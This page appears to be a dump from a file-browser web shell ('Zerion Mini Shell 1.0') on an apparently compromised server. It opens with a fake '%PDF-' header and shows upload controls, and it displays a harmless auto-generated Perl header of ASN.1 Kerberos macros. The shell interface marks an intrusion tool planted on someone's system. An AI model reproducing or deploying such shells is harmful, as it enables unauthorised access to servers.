%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/perl5/site_perl/mach/5.32/
Upload File :
Create Path :
Current File : //usr/local/lib/perl5/site_perl/mach/5.32/asn1-common.ph

require '_h2ph_pre.ph';

no warnings qw(redefine misc);

require 'stddef.ph';
require 'time.ph';
require 'krb5-types.ph';
unless(defined(&__asn1_common_definitions__)) {
    eval 'sub __asn1_common_definitions__ () {1;}' unless defined(&__asn1_common_definitions__);
    eval 'sub ASN1_MALLOC_ENCODE {
        my($T, $B, $BL, $S, $L, $R) = @_;
	    eval q( &do { ($BL) =  &length_$T(($S)); ($B) =  &malloc(($BL));  &if(($B) ==  &NULL) { ($R) =  &ENOMEM; }  &else { ($R) =  &encode_$T((($B)) + ($BL) - 1, ($BL), ($S), ($L));  &if(($R) != 0) {  &free(($B)); ($B) =  &NULL; } } }  &while (0));
    }' unless defined(&ASN1_MALLOC_ENCODE);
    if(defined(&_WIN32)) {
	unless(defined(&ASN1_LIB)) {
	    eval 'sub ASN1EXP () { &__declspec( &dllimport);}' unless defined(&ASN1EXP);
	} else {
	    eval 'sub ASN1EXP () {1;}' unless defined(&ASN1EXP);
	}
	eval 'sub ASN1CALL () { &__stdcall;}' unless defined(&ASN1CALL);
    } else {
	eval 'sub ASN1EXP () {1;}' unless defined(&ASN1EXP);
	eval 'sub ASN1CALL () {1;}' unless defined(&ASN1CALL);
    }
}
1;

Zerion Mini Shell 1.0